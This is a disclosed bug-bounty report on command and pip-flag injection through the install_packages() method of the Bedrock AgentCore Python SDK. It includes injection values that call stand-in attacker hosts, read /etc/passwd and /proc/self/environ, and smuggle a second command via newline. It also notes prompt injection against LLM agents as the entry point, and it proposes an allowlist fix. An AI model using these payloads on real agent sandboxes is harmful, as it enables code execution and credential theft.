HexBrain

AWS VDP · Report #3633123

Incomplete Input Sanitization in CodeInterpreter install_packages Allows Command Injection via pip Flags

Validstatus
highseverity
23upvotes
16 Sept 2026disclosed

How it was found

NOTE! Thanks for submitting a report to Amazon Web Services! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!

Description: The install_packages() method in the Bedrock AgentCore Python SDK (https://github.com/aws/bedrock-agentcore-sdk-python) implements a blocklist-based sanitization for package names that is incomplete. Several injection vectors bypass the blocklist, most critically pip's --index-url flag, which allows redirecting package resolution to an attacker-controlled PyPI server. This enables arbitrary code execution within the Code Interpreter sandbox.

File: src/bedrock_agentcore/tools/code_interpreter_client.py, lines 588-598

# Sanitize package names (basic validation)
for pkg in packages:
    if any(char in pkg for char in [";", "&", "|", "`", "$"]):
        raise ValueError(f"Invalid characters in package name: {pkg}")

packages_str = " ".join(packages)
upgrade_flag = "--upgrade " if upgrade else ""
command = f"pip install {upgrade_flag}{packages_str}"

self.logger.info("Installing packages: %s", packages_str)
return self.invoke("executeCommand", {"command": command})

The blocklist checks for ;, &, |, `, and $, but does not block:

  1. --index-url / -i flag injection: Characters -, /, :, . are all allowed. A "package name" like --index-url https://evil.com/simple/ malicious-package passes validation and tells pip to fetch packages from an attacker-controlled server.
  2. Newline injection (\n): Not in the blocklist. A package name like "pandas\ncurl http://attacker.com/exfil" injects a second command.
  3. -r flag injection: "-r /etc/passwd" causes pip to attempt to read a local file as a requirements file, leaking its contents through error messages.

Affected versions: bedrock-agentcore-sdk-python all versions through at least v1.4.8.

Steps To Reproduce:

Prerequisites:

  • AWS account with Bedrock AgentCore access (any authenticated user, no special permissions required). The vulnerability exists in every Code Interpreter session.
  • bedrock-agentcore SDK installed (pip install bedrock-agentcore) to run the PoC script. The SDK is not required for the vulnerability itself. The same install_packages() method is available in any Code Interpreter session, including via the AWS Console or any application built with the SDK.

1. Run the attached PoC script demo-pip-injection.py:

python3 demo-pip-injection.py

The script demonstrates three steps:

  1. Shell injection with ; is correctly blocked by the blocklist
  2. -r /etc/passwd bypasses the blocklist -- pip reads the file and leaks contents in error messages
  3. -r /proc/self/environ escalates to leak all sandbox environment variables (internal paths, ports, service config)

2. Observe the output (see attached recording):

STEP 1: Blocklist correctly blocks shell injection
  Blocked: Invalid characters in package name: pandas; curl http://evil.com

STEP 2: Bypass blocklist -- read /etc/passwd via -r flag
  ERROR: Invalid requirement: 'root:x:0:0:root:/root:/bin/bash'

STEP 3: Escalate -- read /proc/self/environ for secrets
  TOOLS_SERVER_LOG_LEVEL=info
  PLATFORM_SERVER_HOST=127.0.0.1
  PLATFORM_SERVER_PORT=48620
  TOOLS_SERVER_PORT=8080

Additional vectors (not in PoC script)

--index-url bypass (SSRF / malicious package install):

# Redirects pip to an attacker-controlled PyPI server
code_client.install_packages(["--index-url", "https://attacker.example.com/simple/", "malicious-package"])
# Confirmed via interactsh: DNS requests from AWS Code Interpreter IPs

Newline injection (command injection):

code_client.install_packages(["pandas\nid"])
# The 'id' command executes separately after pip install

Attachments:

  • demo-pip-injection.py -- Full PoC script
  • Terminal recording showing the complete exploit

Impact

Summary:

An attacker who can influence the arguments to install_packages(), for example through prompt injection against an LLM agent that uses Code Interpreter, can:

  1. Read arbitrary files from the sandbox via pip's -r flag. Confirmed: /etc/passwd and /proc/self/environ contents leaked through pip error messages. The environment variables exposed internal sandbox architecture including genesis1p-tools paths, internal service ports (48620, 8080), and process configuration. On sandboxes with IAM roles, /proc/self/environ would leak AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN.
  2. Redirect package resolution to a malicious PyPI mirror via --index-url. Confirmed: DNS requests from AWS Code Interpreter IPs (████████, ████████) reached an interactsh OOB server, proving the sandbox connected to an attacker-controlled server.
  3. Execute arbitrary commands in the Code Interpreter sandbox via newline injection

Root Cause

The blocklist at lines 588-598 checks for shell metacharacters (;, &, |, `, $) but does not account for pip's own flag syntax. Since the validated strings are concatenated directly into a pip install command, any pip flag that uses only alphanumeric characters, hyphens, slashes, and dots bypasses the blocklist.

Recommended Fix

Replace the incomplete blocklist with an allowlist approach:

import re

VALID_PACKAGE_NAME = re.compile(r'^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$')

for pkg in packages:
    if not VALID_PACKAGE_NAME.match(pkg):
        raise ValueError(f"Invalid package name: {pkg}")

This ensures only valid PyPI package names (with optional version specifiers) are accepted, blocking all flag injection and command injection vectors.

Disclosure

For awareness, we plan to publish a blog post detailing these findings after remediation. We are happy to share a draft ahead of publication and coordinate on timing.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original